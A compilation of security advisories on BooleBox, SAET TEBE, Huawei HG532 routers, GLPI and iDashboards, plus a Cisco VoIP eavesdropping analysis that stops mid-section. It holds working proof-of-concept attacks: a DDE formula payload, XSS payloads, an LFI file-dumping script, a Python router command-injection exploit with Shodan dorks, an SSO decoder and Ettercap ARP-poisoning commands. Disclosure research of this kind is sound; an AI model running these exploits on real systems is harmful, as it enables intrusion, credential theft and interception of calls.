BooleBox Secure Sharing, Multiple Vulnerabilities

# Authors: BackBox Team
# Vendor Homepage: https://www.boolebox.it

I. INTRODUCTION

BooleBox is a Secure File Sharing Utility available as a Cloud, On-Premises or Hybrid service. The product offers a wide variety of File Sharing protection mechanisms and also the possibility of cloud online editing and collaboration.

II. CSV Injection, aka Excel Macro Injection or Formula Injection (CVE-2020-13247)

The vulnerability exists in the export feature and allows a remote user to inject arbitrary code into CSV files.

The vulnerability exists in the user’s name parameter due to insufficient sanitization of user-supplied data when constructing CSV files. CSV files contain users activity logs and they are exportable from the Audit Area accessible exclusively by privileged users. In order to make the macro executable it should be placed at the beginning of the string so at the place of the user’s name. Any user can modify his/her name and replace it with a malicious macro. The administrator user may export the compromised log file in CSV format and open it with Microsoft Excel. The malicious macro will be executed causing system damage.

a. Proof of Concept

Any user can perform the attack against an administrator user who has the privileged functionality of downloading activity logs in CSV format. The attacker should replace his name with a malicious macro in the area “My account – Personal Data”.

For example “John Smith” becomes “=cmd|’ /C calc’!A1 Smith”

Then he/she should perform an action that will be recorded in the activity logs in the form “[Name Surname] [action]”.

For example John Smith renamed “file.txt” in “file2.txt” becomes:

=cmd|’ /C calc’!A1  Smith renamed “file.txt” in “file2.txt”

When the administrator user open the log file with Microsoft Excel the macro will be executed and he/she will be victim of this attack.

b. Business Impact

Arbitrary formulas can be injected into CSV/Excel files. This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks.

III. Stored XSS Vulnerability (CVE-2020-13248)

The Web Application is affected by a Stored XSS Vulnerability. If an attacker manages other users to request the Stored XSS parameter, he/she can execute arbitrary JavaScript code within the user’s browser in the context of that user’s session. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf and logging their keystrokes.
Reference: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

The vulnerable function seem to require only a basic account access to the platform.

URL affected: hostname/BS/Account.aspx;
Vulnerable parameter: “avatar” json parameter;
Method: POST.

a. Proof of Concept

Any user can upload his/her own Profile Image under the My Account section, which is sent to the server as a base64 encoded sequence and embedded elsewhere in an <img src=”> HTML tag. Here follows a sample of a valid image uploaded, URL decoded for readability reasons:

POST /BS/Account.aspx HTTP/1.1
Host: example.com
        ...
  [HTTP Headers]
        ...

data={"action":3,"name":null,"surname":null,"avatar":"data:image/png;base64,[BASE64 Encoded Image]","inApp":false}

However, whenever a user uploads an image that is not base64 encoded, the system considers it valid and copies it internally with minimal if none sanitization or safety checking. As a consequence, when an attacker loads an XSS payload as image body, it is correctly saved in the database.
Here follows the request containing the XSS payload sent to the server.

POST /BS/Account.aspx HTTP/1.1
Host: example.com
        ...
   [HTTP Headers]
        ...

data={"action":3,"name":null,"surname":null,"avatar":"\" onerror=\"alert('xss')","inApp":false}

Once the payload is set as user’s avatar, it is possible to execute the payload by clicking on the username on the top right of the main web Application page. This will trigger an Ajax request to the backend to retrieve the stored avatar, as shown in the following request example:

POST /BS/Account.aspx HTTP/1.1
Host: example.com
       ...
  [HTTP Headers]
       ...

data={"action":1,"getAvatar":true}

The response to this request, is the following:

HTTP/1.1 200 OK
       ...
  [HTTP Headers]
       ...

{"type":1,"details":{"name":"[NAME]","surname":"[SURNAME]","username":"[USER EMAIL]","phone":null,"avatar":"\" onerror=\"alert('xss')","storage":{"used":0,"total":3221225472,"usedText":"0 KB","totalText":"3 GB"},"last_access":"GG/MM/AAAA HH:MM (AM|PM)"},"subscription":{"type":"BooleBox Business","start":"GG/MM/AAAA","cancelled":false,"renewal":{"date":"No expiry","method":null},"payment":null},"banner":null}

The value corresponding to the “avatar” key is then copied client-side inside the box that appears when the request is made:

<div id="user_info_box_slider" class="user_info_box_slider" style="display: block; opacity: 1;">
    <div class="userIdentityContainer clearfix">
        <div id="user_area_avatar" class="left">
            <div class="avatarUser"><img class="profileAvatar" src="" onerror="alert('xss')"></div>
        </div>
        ... [OTHER USER DATA DISPLAYED HERE] ...
    </div>
</div>

and this will finally execute the XSS payload that has been set as avatar image.

Even more dangerous, any other user with Upload/Write privileges that has the attacker registerd in his/her contact list is affected by this vulnerability. Specifically, when that user navigates to the “Contacts” section and reaches the page where the attacker information is shown the following request is made to the backend.

POST /BS/Preview.aspx HTTP/1.1
Host: example.com
       ...
  [HTTP Headers]
       ...

data={"action":47,"users":[{"ID":"[ATTACKER ID]","Name":"[ATTACKER NAME SURNAME]","Username":"attacker@evil.com","Email":"attacker@evil.com","AvatarId":"[AVATAR ID]","Avatar":"","belongGroup":true,"msgRead":null,"Domain":false,"UsersInGroup":null,"DisplayName":""}]}

To this request, the backend then answers with the requested Avatar that contains the attacker’s XSS payload.

HTTP/1.1 200 OK
       ...
  [HTTP Headers]
       ...

{"Avatar":"\" onerror=\"alert('xss')"}

The provided avatar, as for the previous XSS example is then inserted in an IMG HTML tag on the client side inside the dedicated to that user. An example of the output attacker’s is the following:

<div class="singleUser clearfix pointer" id="[ATTACKER'S ID]">
  <span class="removeUser pointer icon-elimina"></span>
  <div class="userAvatar left">
    <img src="images/share/BS4_Share_Custom_Flag_S.png" class="shareButtonFlag">
    <img src="" onerror="alert('xss')" width="100%" height="100%"></div>
    <div class="userDataRubrica"><div class="user-icons"></div>
    <div class="userNameRubrica fixTextOverflow" title="[ATTACKER'S DATA]">[ATTACKER'S DATA]</div>
  </div>
</div>

b. Business Impact

Up to now, we have evidence that the vulnerability interests any user that can upload his/her own avatar (even low privileged ones) and affects, besides himself/herself, any other user that added the attacker in the contact list. To the best of our knowledge, the users that can add people and access to a contact list are also those with Upload/Write privileges on the platform, which makes the Stored XSS even more dangerous.

IV. SYSTEMS AFFECTED
Currently we have no detailed information on the system versions affected, potentially all the versions could be vulnerable.

V. VULNERABILITY HISTORY
May 12th, 2020: Vendor notification

VI. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

SAET TEBE Small Supervisor, Multiple Vulnerabilities

# Product version: v05.01 build 1137
# Webapp version: v04.68
# Vendor homepage: https://www.saet.org/

I. INTRODUCTION

TEBE Small is a physical access control system manufactured by SAET Impianti Speciali.
It consists in a modular network of “terminals” which are deployed in a building and read badges or other authentication mechanisms, and a “supervisor”, which is typically installed on a Raspberry Pi, who manages and orchestrates the terminals.
On the supervisor is installed a Web Application that provides a dashboard used by the administrator to control the behavior of the terminals and to manage the user permissions and authorization.

II. DESCRIPTION

The Web Application is affected by some vulnerabilities that allow an attacker to overtake the system by gaining the admin password.

The vulnerabilities found are listed below:

  • Local File Inclusion (CVE-2019-9106)
  • Unauthenticated API calls (CVE-2019-9105)

III.  PROOF OF CONCEPT

We assume that the supervisor is installed at “https://my-supervisor.tld”.

We start by looking at the file “https://my-supervisor.tld/inc/js/saet.js”, which is included in the index page.

This file is filled with JavaScript functions that call a REST API proxy served at “https://my-supervisor.tld/inc/utils/REST_API.php”.

function startRealTime() {
"use strict";

$('.eventstable tbody').empty();
$('#start-real-time').hide();
$('#last-events').hide();
$('#fromdate, #todate').hide();
$('#stop-real-time').show();

sendRtc();

$.get('inc/utils/REST_API.php', {
command: 'CallAPI',
customurl: 'history/maxlastupdate',
method: 'GET'
}, function(data) {
lastupdate = data.lastupdate;
startedRealTime = 1;
timeout = setTimeout( getLastEvents, realTimeInterval);
}, "json");
}

If we try to construct the API call, we come to this:

$ curl "https://my-supervisor.tld/inc/utils/REST_API.php?command=CallAPI&customurl=history%2Fmaxlastupdate&method=GET&svm_id="
{"lastupdate": 1550490686073, "causal_code": 0, "area": 1, "timestamp": 1550490685, "user_second_name": "Doe", "user_first_name": "John", "badge_id": 1234, "terminal_id": 6, "synchronised": false, "event": 7, "svm_id": 0}

So we can monitor in real time people coming in and out, without any authentication.

By further investigating the “saet.js” file we can detect some other interesting API calls. We can, for example, dump the whole database of events with a single command, so no polling needed:

$ curl "https://my-supervisor.tld/inc/utils/REST_API.php?command=CallAPI&customurl=history%2Ffilter%2F%3Fstartdate%3D0%26enddate%3D1532683263728%26badges%3D*%26titolari%3D*%26event_type%3D*%26terminals%3D*%26causals%3D*%26areas%3D*%26logic%3Dand_%26limit%3D1000%26offset%3D0%26lastupdate%3D0&startdate=&enddate=&logic=1&method=GET&svm_id="

We now need to log in to further proceed with our analysis: luckily the sysadmin has left a weak password on the dashboard, so we can easily break in and star inspecting new pages.

The first thing to pay attention at is the way the various views are displayed: “https://my-supervisor.tld/index.php?menu=VIEW_NAME”

If we try to fuzz this “menu” field with some random string (“aaa”), we end up to something interesting:

Warning: require(aaa.php): failed to open stream: No such file or directory in /data/webapp/index.php on line 141
Fatal error: require(): Failed opening required 'aaa.php' (include_path='.:/usr/share/php:/usr/share/pear') in /data/webapp/index.php on line 141

So it seems the page is appending a “.php” extension to the “menu” field and trying to include it.

Moreover, the php filter “convert.base64-encode” is enabled, so we are able not only to include arbitrary php files, but also to encode them and download the source code.

To automate the process of downloading “.php” files from the server, we can write a simple bash script:

#!/bin/bash

USER="admin"
PASSWORD="password"
URL="https://my-supervisor.tld"

curl -c cookies.txt -b cookies.txt -s -i -k -X 'POST' --data "username=$USER&password=$PASSWORD&login=" "$URL" > /dev/null
curl -c cookies.txt -b cookies.txt "$URL/?menu=php://filter/convert.base64-encode/resource=$1" | grep '<div class="container alert alert-danger error_log">' | sed -r 's/<div class="container alert alert-danger error_log"><\/div>(.*)<\/div> <!-- mainwrapper -->/\1/g' | base64 -d

We can use this script to download, for example, the “index.php”:

$ ./exfiltrator.sh index > index.php

Now that we are able to download files, we need something useful to actually download.
We could now run a crawler or an URL fuzzer in order to detect relevant files.

From the results, it turns out that directory indexing is enabled on “/admin/” and “/inc/”, so that we don’t need to go through the code to find out interesting files to download, but what is most relevant now is a “login.php” file in the root directory.

Let’s download it with our previous exfiltrator script and investigate:

<?php
$svType = CallAPI( "GET", "whoami" );

$foundAdmin = 0;
if($svType == 'svm') {
$userquery = json_decode(CallAPI( "GET", "alladminusers", 0 ) );
if(sizeof($userquery) > 0) {
foreach($userquery as $userObj) {
$adminuser = (array)$userObj;
if($adminuser['role'] == ADMIN) {
$foundAdmin = 1;
break;
}
}
}
} else {
$foundAdmin = 1;
}
if($foundAdmin):
?>

The API call “alladminusers” appears to return a lot of useful stuff: it is worth a try…

$ curl "https://my-supervisor.tld/inc/utils/REST_API.php?command=CallAPI&customurl=alladminusers&method=GET&svm_id="
[{"username": "admin", "first_name": "admin", "role": 5, "plant_name": null, "password": "5f4dcc3b5aa765d61d8327deb882cf99", "second_name": "admin", "svm_id": 0}]

So now we can retrieve MD5 hashes of every admin account on the machine, all without authentication.

Once you log in the dashboard you can obviously do anything an admin can do, including enabling and disabling terminals, badges, downloading the access database, tamper with it and upload it again.

There’s even an upload form, where you are allowed to upload a “New Firmware”. There is no check in place to control the type of the file uploaded, so it is possible to upload a PHP webshell.

It gets uploaded to (extract from “/inc/global.php”):

define('NEW_FIRMWARE_FOLDER', '/data/firmware_new/');

But unluckily there’s a check in place in the `index.php` file which replaces all “_” with “/”, so we are unable to include that with the previous technique:

if($menu == '')
require($defaultUrl);
else {
$menuitem = str_replace('_', '/', $menu);
require($menuitem.'.php');
}

Recap

You can easily gain admin access to the dashboard and fully overtake the system.
Not only this: you can also both download and execute any file which ends with “.php”, except those containing an underscore in their path, and you can upload files too: the dashboard allows you to upload any kind of file in the “firmware update” tab. We are still unable to get a shell because of the underscore in the firmware upload path, but this deserves further investigations.

IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information.

VI. VULNERABILITY HISTORY
February 6th, 2019: Vendor notification

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

Huawei HG532, Command Injection

# Authors: Raffaele Forte, Andrea Ferraris
# Product name: Huawei HG532*
# Vendor Homepage: https://www.huawei.com

I. INTRODUCTION

Huawei HG532* are wireless home gateways for home or office ADSL.

The model HG532e is used in Panama by “Cable & Wireless Panama”.
shodan.io dork: “Content-Length: 11881” “no-cache” org:”Cable & Wireless Panama”.

The model HG532s is distributed in Italy since 2012 by Wind-Infostrada and it is still in use.
shodan.io dork: “Content-Length: 10814” “no-cache” org:”Wind”

II. DESCRIPTION

The router is affected by a “Command Injection” vulnerability located in the web-panel allowing an authenticated user to obtain a root access to the system.

The vulnerable function is used to check if a domain/IP is reachable.

Thanks to reverse engineering techniques we were able to identify the snippet of code that performs this action:

[...]
LOAD:00409B58 la $t9, snprintf
LOAD:00409B5C la $a2, aPingSC4VarPing  # "ping %s -c 4 > /var/pingres.txt"
LOAD:00409B64 move $a3, $v0
LOAD:00409B68 li $a1, 0x400
LOAD:00409B6C jalr $t9 ; snprintf      # call snprintf(ping %s..., <cmd>)
LOAD:00409B70 move $a0, $s0
LOAD:00409B74 lw $gp, 0x10($sp)
LOAD:00409B78 nop
LOAD:00409B7C la $t9, system
LOAD:00409B80 nop
LOAD:00409B84 jalr $t9 ; system        # call system with previous snprintf result
LOAD:00409B88 move $a0, $s0
LOAD:00409B8C lw $gp, 0x10($sp)
LOAD:00409B90 move $a0, $s2
LOAD:00409B94 la $t9, ATP_WEB_SendFile
LOAD:00409B98 nop
LOAD:00409B9C jalr $t9 ; ATP_WEB_SendFile
LOAD:00409BA0 move $a1, $s1
[...]

As we can see, the web interface use “system” to execute PING command (LOAD:00409B84) and the command is built from the previous “snprintf” (LOAD:00409B6C) call.

The vulnerability is the lack of input sanitization: the code does not check if the passed string is a valid IP and does not check the presence of dangerous characters.

Usually, the user set an IP/hostname in a web-form and he/she sees the output, but inserting a semicolon (or various injection characters) it is possible to execute others commands.

For example, a legit input may be:

127.0.0.1

A malicious one may be:

127.0.0.1 -c 4; whoami > /var/pingres.txt;#

The first argument “127.0.0.1 -c 4” is to complete the ping command (not strictly necessary). Then, there is a semicolon followed by “whoami”: that is the command that the attacker wants to execute. The “#” allows to ignore the “-c 4 > /var/pingres.txt” which follows the format string placeholder (LOAD:00409B52). Note: it is necessary to redirect output to the file “/var/pingres.txt” in order to obtain a visible command injection, indeed the web application respond with that file (LOAD:00409B9C).

III. PoC – PROOF OF CONCEPT

#!/usr/bin/python
 
import requests
import time
import urllib
import sys
import warnings
import hashlib
import base64

if not sys.warnoptions:
    warnings.simplefilter("ignore")

user = 'user'
## HG532e by Cable & Wireless Panama
## shodan.io dork: "Content-Length: 11881" "no-cache" org:"Cable & Wireless Panama"
password = 'censured'

## HG532s by Wind-Infostrada (Italy)
## shodan.io dork: "Content-Length: 10814" "no-cache" org:"Wind"
#password = 'censured'

password_sha256 = hashlib.sha256(password.encode()).hexdigest()
password_base64 = base64.b64encode(hashlib.sha256(password.encode()).hexdigest())

s = requests.Session()

url = str(sys.argv[1])
cmd = str(sys.argv[2])

payload = urllib.quote_plus(' -c1; '+cmd+' > /var/pingres.txt; #')

data = {'Username':'user','Password':''+password_base64+''}
cookie = {'Language':'en','FirstMenu':'Admin_0','SecondMenu':'Admin_0_0','ThirdMenu':'Admin_0_0_0'}

url_login = url+'/index/login.cgi'

request_login = s.post(url_login, data=data, cookies=cookie, verify=False)

url_diagnose = url+'/html/management/excutecmdfordiagnose.cgi?cmd=127.0.0.1'+payload+'&RequestFile=/html/management/pingstatus.asp'
request_diagnose = s.post(url_diagnose, cookies=cookie, verify=False)

url_logout = url+'/index/logout.cgi'
s.post(url_logout, cookies=cookie)

txt = request_diagnose.text.split('PingResult = "') 

result = txt[1].replace('\\n" + "', '\n')

print'\n'+result.split('";')[0]

IV. BUSINESS IMPACT
This flaw may compromise the integrity of the system and/or expose sensitive information. An attacker is able to obtain a root shell on the device.

V. SYSTEMS AFFECTED
Model: Huawei HG532e
Hardware version: HG532EAM1HG530ERRAMVER.B
Firmware version: V100R001C170B012

Model: Huawei HG532s
Hardware version: HG532SAM1HG530ERRAMVER.B
Firmware version: V100R001C57B011

Most likely all HG532* models are vulnerable.

VI. VULNERABILITY HISTORY
December 10th, 2018: Vendor notification

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

GLPI 9.2.1, Multiple Vulnerabilities

# Authors: Andrea Ferraris, Raffaele Forte
# Vendor Homepage: http://glpi-project.org
# Version: 9.2.1 and earlier

I. INTRODUCTION
GLPI is the Information Resource-Manager with an additional Administration-Interface. You can use it to build up a database with an inventory for your company (computer, software, printers…). It has enhanced functions to make the daily life for the administrators easier, like a job-tracking-system with mail-notification and methods to build a database with basic information about your network-topology.

II. DESCRIPTION
The web application suffers from multiple vulnerabilities.

1. Remote code execution (CVE-2018-7562)

The application allows an authenticated user to upload file when he/she creates new ticket. This feature is protected using different type of security features like the check on the file’s extension.

Auditing the source code we are able to identify one issue that allows the remote code execution: as we can see in the snippet below, the application uploads and creates a file, though this file is not allowed, and then deletes the file.

[...]
// Unlink file
$val->error = __('Filetype not allowed');
if (file_exists($upload_dir.$val->name)) {
    unlink($upload_dir.$val->name);
}
[...]

This snippet is from the latest version of GLPI (9.2.1) in the file “inc/glpiuploaderhandler.class.php” (method uploadFiles).

All the previous version are affected by the same vulnerability (though the source file is different).

Using this particular behaviour, an attacker is able to trigger a race condition between the “unlink” procedure and getting the file.

Below are the macro-phases of the attack:
1. Login to application and obtain a valid session ID
2. Create two parallels threads.
3. One thread should loop over upload method and try to upload, for example, a php file
4. The other thread should loop trying to retrieve the file, e.g. recalling, with GET method, “/files/_tmp/
5. Check if the return status is 200 and, in that case, terminate the exploit.

Exploitability

The exploitability of this vulnerability encounters a pratical problem: indeed, even if we are able to retrieve the file BEFORE the unlink procedure, the application deletes the file in a very short time. So we would not be able to get a stable shell and a backdoor in the system.

In order to bypass this limitation we can create a PHP files that drops another PHP file (the real backdoor). This way, the second file should not be deleted by the application.

In the latest version of GLPI this vulnerability is mitigated by the fact that the filename is random-like.

[...]
$pname = $params['name'];
$rand_name = uniqid('', true);
foreach ($_FILES[$pname]['name'] as &$name) {
    $name = $rand_name . $name;
}
[...]

As we can see in the snippet above, the application attaches at the filename a “random prefix”. This way, the probability of retrieving the file without filename is pretty low.

In any case, we consider this behaviour as a vulnerability because:

  1. Looping over the upload method allows to see the file really exists.
  2. PHP manual says about uniqid function: “This function does not create random nor unpredictable strings. This function must not be used for security purposes. Use a cryptographically secure random function/generator and cryptographically secure hash functions to create unpredictable secure IDs.”

With these two considerations we suggest to fix this vulnerability in the latest version too.

Moreover, we are able to create a PoC also on the latest version without the “more entropy” flag.

From 9.1 version and below, this vulnerability can be easily exploited because the filename is well known (set by the attacker).

We have created an exploit that allows to spawn a shell for the previous versions:

https://github.com/bowline90/RemoteCodeUploadGLPI

2. Cross Site Scripting (CVE-2018-7562)

The application is affected by XSS Vulnerability. An attacker is able to create a malicious URL that if it will be opened by an authenticated user with debug privilege, then the client will execute JavaScript code supplied by the attacker.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes.

PoC:

<URL>/front/preference.php?test%3d%22%3e%3Cscript%3Ealert(1)%3C/script%3E

IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information. A skilled attacker is able to obtain a shell on the remote server.

V. SYSTEMS AFFECTED
GLPI v9.2.1 is vulnerable and all previous versions.

VI. VULNERABILITY HISTORY
February 19th, 2018: Vulnerability identification
February 28th, 2018: Vendor notification
February 28th 2018: CVE-ID reserved
March 1st, 2018: XSS fix (https://github.com/glpi-project/glpi/pull/3647)

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

iDashboards 9.6b, Multiple Vulnerabilities

# Authors: Andrea Ferraris, Raffaele Forte
# Vendor Homepage: https://www.idashboards.com/
# Version: 9.6b and earlier

I. INTRODUCTION
iDashboard is a closed-source system that allows to visualize data in form of graph.

II. DESCRIPTION
The web application suffers from multiple vulnerabilities.

1. Sensitive Data Exposure

Using specific paths an unauthenticated user can obtain various information about the system.

a. Configuration Disclosure (CVE-2018-7209)

Using this URL “https://<url>/idashboards/config.xml” it is possible to obtain information such as version, url, etc.:

[...]
<serverURL>/idashboards/idb?CMD=$C$</serverURL>
<dashReportURL>/idashboards/idb/reports/prep/d/$DASH_ID$/$FORMAT$/$INLINE$/</dashReportURL>
<chartReportURL>/idashboards/idb/reports/prep/c/$CHART_ID$-$DASH_ID$/$FORMAT$/$INLINE$/</chartReportURL>
<serverRoot>/idashboards/</serverRoot>
[...]
<version>9.6b</version>
<productID>9.6b-181217101653-160.45</productID>
<companyName>XXX snc | XXX </companyName>
[...]
<adminUrl>http://XXXXXXX:6700/idashboards/admin/</adminUrl>
[...]

b. License information disclosure (CVE-2018-7210)

In order to install the license in the application, the administrator should go to “https://<url>/idb/config?CMD=installLicense”.

If the license is already applied, this page is reachable from unauthenticated user. In this case, an attacker can obtain information about the system (type of license, internal IP address, ecc.) and guest accounts (if present):

Licensed to: XXX snc
License expires: Never
Licensed CPUs: Unlimited
Number of named users: 51
Number of concurrent users: 51
Guest users: guest
Licensed IP Addresses: 10.1.1.7
Licensed Domain(s): 
Server Name: XXXDASHBOARDS
Server IP Address: 10.1.1.7
Server CPUs: 8
License type: XXX-XX-XXXX

2. Reverse engineering of SSO obfuscation (CVE-2018-7211)

As AdminManual said the SSO obfuscation is weak:

The iDashboards obfuscation library uses a proprietary, weak two-way encryption algorithm to obfuscate text. It is possible that a resourceful attacker could reverse-engineer the algorithm and use it to obfuscate SSO login URLs, or decode obfuscated ones. Moreover, anyone with access to the idb_encrypt.jar file or idb_encrypt.dll, and the proper knowledge, could use it to obfuscate SSO login URLs.

It is possible to reverse engineering the algorithm as we can see in the PoC below:

[PoC_iDashboard.py]

import sys

def encrypt(string):
    i=0
    out=""
    for c in string:
        power=pow(2,i)
        if power == 256:
            i=0
            power=pow(2,i)
        i+=1
        val=ord(c)
        k=val // power
        if k % 2 == 0:
            val+=power
        else:
            val-=power
        out+=str(hex(val)).replace('0x','')
        #print "Power:"+str(power)+" - Before:"+str(hex(ord(c)))+" - After:"+str(hex(val))
    return out
    
def decrypt(string):
    i=0
    k=0
    array=[]    
    l=len(string)-1
    while k < l:
        array.append(int(string[k:k+2],16))    
        k+=2
    out=""
    for c in array:
        power=pow(2,i)
        if power == 256:
            i=0
            power=pow(2,i)
        i+=1
        val=c
        k=val // power
        if k % 2 == 0:
            val+=power
        else:
            val-=power
        out+=chr(val)
        #print "Power:"+str(power)+" - Before:"+str(hex(c))+" - After:"+str(hex(val))+ " - Char:"+chr(val)
    return out

def main(args):
    if len(args)<3:
        print "Usage: "+args[0]+ "  " +" string"
        return
    if args[1] == 'd':
        o=decrypt(args[2])
    elif args[1] == 'e':
        o=encrypt(args[2])
    print o

if __name__=='__main__':
    main(sys.argv)

IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information.
Moreover, SSO reverse engineer allows to obtain user and password with a MiTM position.

V. SYSTEMS AFFECTED
iDashboard v9.6b is vulnerable (probably all previous versions)

VI. VULNERABILITY HISTORY
January 30th, 2018: Vulnerability identification
February 16th, 2018: Vendor notification
February 18th, 2018: CVE-ID reserved

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

VoIP Cisco System, Security Analysis

# Authors: Ferraris Andrea, Priori Gaetano, Forte Raffaele
# Vendor Homepage: http://www.cisco.com
# Version: Cisco CM Administrator v10.5.2.10000-5

 

I. INTRODUCTION

Nowadays, the use of VoIP technology is spreading in every business. Voice Over IP allows to carry voice calls over the company network and enables to connect offices across the without any additional cost.

In this article we present a security analysis of Cisco VoIP system; specifically, about how to intercept phone calls, obtain administrative credentials, access the phones and retrieve full VoIP network topology. Our research includes Cisco CM Administrator (version 10.5.2.10000-5) and Cisco UC Phones.

 

II. DESCRIPTION

Standards for securing VoIP are available in the Secure Real-time Transport Protocol (SRTP) and the ZRTP protocol for analog telephony adapters as well as for some softphones. IPsec is available to secure point-to-point VoIP at the transport level by using opportunistic encryption.

From a security point of view, since VoIP uses IP network, the tools and methodologies commonly known and used in security analysis can be applied. In our analysis we are going to encounter SIP as VoIP implementation.

The following sections are divided as follows:

  • Section III – we will present how to setup the attacker PC. In this phase we are able to obtain VLAN identification and perform a passive network sniffing.
  • Section IV – we will describe how it can be possible to intercept local calls.
  • Section V – we will present an information leakage vulnerability that allows to obtain administrator credentials and network topology. We also develop a script to exploit that vulnerability.
  • Section VI – conclusion and future projects.

 

III. NETWORK ANALYSIS AND SETUP

For the whole testing phase we used BackBox Linux connected through Ethernet cable to the enterprise LAN.

First, we started with a network passive sniffing but we does not find any clues or VoIP packages. In the most companies, the VoIP network is separated by “normal” traffic using different VLAN (Virtual LAN) according to IEEE 802.1q standard. Peraphs, if we switch VLAN, we can sniff VoIP traffic.

In order to “change” VLAN and be albe to sniff traffic, it is necessary to load a kernel module using command

$ sudo modprobe 8021q

After loading this new module, we perform another passive sniffing. This time, we are able to see more traffic than before; in particular we obtain CDP packets.

Cisco Discovery Protocol is a proprietary data link layer developped by Cisco and it is used by Cisco equipments to share various informations. Cisco devices send, in multicast 01:00:0C:CC:CC:CC, a CDP packet with various information include OS type, service protocol, VTP type and VLAN source. Usually a CDP packet is sent every 60 seconds, but it can take longer.

In our case the VLAN for VoIP traffic is 50. This information allows to save time but if there is not this packet, a security researcher can brute force every VLAN because there are only 65535 possible VLAN tag. A particular tool usefull in this kind of analysis is Voip Hopper.

Using vconfig we are able to create a pseudo-interface to communicate in VLAN 50, as we can see below

$ sudo vconfing add eth0 50

Now, we can sniff traffic on that pseudo-interface: this capture presents a lot of ARP request but MAC address is Cisco, so we are probably inside the VoIP network. In order to avoid malfunction in the network, we attack only our office phone; for this reason, we need to identify the IP address of the target phone. Obviously, a real attacker does not perform this step but he can try different MAC address.

To obtain the IP address of our phone, we first check the MAC address printed near the serial number behind the phone, then we unplug the cable. After few minutes, we re-plug the telephone and try to intercept DHCP request/response from our MAC address. DHCP response give us the IP address and another fundamental information: the IP address of the gateway .

The phone first try to connect to network using IPv6 protocol. After, it try to obtain IPv4 using DHCP. If there is not a IPv6 network present in the organization, an attacker could spoof router and respond to the request.

If the organization does not use IPv6, the phone should be configured without using IPv6 (default configuration) and only IPv4.

In summary, now we known:

  • VLAN tag of VoIP network
  • IP address of target phone
  • IP address of SIP server (gateway)
  • The network use DHCP

Thanks to DHCP we now can try to obtain a valid address in order to contact the SIP server done with the command listed below.

$ sudo dhclient eth0.50

If everything go well now we have an IP address an we can try to attack the SIP server. A complete scan with Nmap showed many ports open, including the TCP 6970 and 69.

 

IV. ATTACKING VOIP NETWORK

Now, we have access to the network and we can communicate with SIP server and phone. The next step is to sniff traffic between phone and server.

To achieve this Man-in-the-Middle we used an ARP posioning attack this kind of technique uses in “malicious” way the ARP protocol. Address Resolution Protocol is a protocol that allow to obtain MAC address from an IP address.

ARP poisoning attack sends to the victim an ARP packet (called “gratuitous ARP”) where it says that the MAC address of the gateway is the attacker address. This way, all the traffic directed to the gateway is sent to our machine but we need one step more: we want to eavesdrop the gateway response too. To achieve this, we send another ARP packet to gateway where it says that the MAC address of the phone is attacker address. Now, every packets exchange from phone to gateway pass though our machine.

We use Ettercap to perform ARP poisoning but other tools are available too (or scripting with Scapy). Now we can sniff the local traffic.

Using Ettercap from terminal:

$ ettercap -TqM -i eth0.50 arp:remote /phone// /gateway//

Now, we want to see the traffic exchanged when a call is performed. To obtain this data we use our “poisoned” phone to call another telephone. As we can see below the call follow this step:

  • The phone send a 101 Request Invite to the gateway. This packet contains the information about the source phone and destination phone.
  • The server send back a status information 100 Trying to inform the caller phone that the communication needs to be esatblished.
  • The server send another status information 180 Ringing to inform the caller phone that the other phone is “Ringing”. This way the caller phone can beep until hang up.
  • When the callee hang up, the server send back to the caller phone 200 OK packet.
  • The traffic exchanged between the two phones is “invisible” ergo the RTP traffic does not reach our machine.

It seems the “real call” does not pass through gateway but it’s likely that the real “data voice” is exchanged direct through the two phone. In order to evaesedrop the RTP packet we perform another ARP poisoning between the caller and callee telephone. Again, we use Ettercap to poison the callee ARP cache and repeat the same step before.

Now we have capture RTP packet. The real communication, indeed, is performed by the two telephone directly without the gateway redirects the data between the two phones.

The RTP data is not encrypted, and all the data is routed using the poisoned ARP table, making ARP poisoning still a valid attack. By saving the capture file (in our test we use Wireshark to intercept traffic) we are able to retrieve the voice data try to decode it. Wireshark helps us to identify the codec used in the commmunication. To decode this data we need to export RTP payload and, using the right codec, transform into an audible format. It’s important to notice that the data are raw, so we need to create a right file in order to open with normal player.After decoding the traffic we are able to listen all the call .

The point of this attack is not to demonstrate new Cisco vulnerability but is to illustrate how the same technique and tools used in network assestment can be used against non-traditional platform. In this case, our attack vector is use ARP poisoning, an ancient technique that demonstrate once again its power. Moreover, default configuration of the system does not activate any type of encryption: this way, a real attacker (or disappointed employee) can easily evaesdrop all phone call made and, maybe, he use this data to ransom someone.

This attack has a critical impact and the “exploitable level” is easy/medium: everyone with a bit of penetration testing skills can listen all phone calls.

 

V. GATEWAY HTTP ATTACK

Our research is continued in the “registration” phase. In this step we want to intercept and see how a phone make initial registration against SIP server.

Again, we use ARP poisoning to intercept all the traffic between phone and SIP server, but, now, we have a new problem: ARP poisoning attack works only when the system is already running.

We can follow various way in order to avoid this problem:

  • Send continuous ARP packet until the phone it is able to read one.
  • Trying to concourre against the real server in ARP response
  • Send an ARP packet as soon as the phone can read it but before it ask the MAC address in order to capture all the traffic.

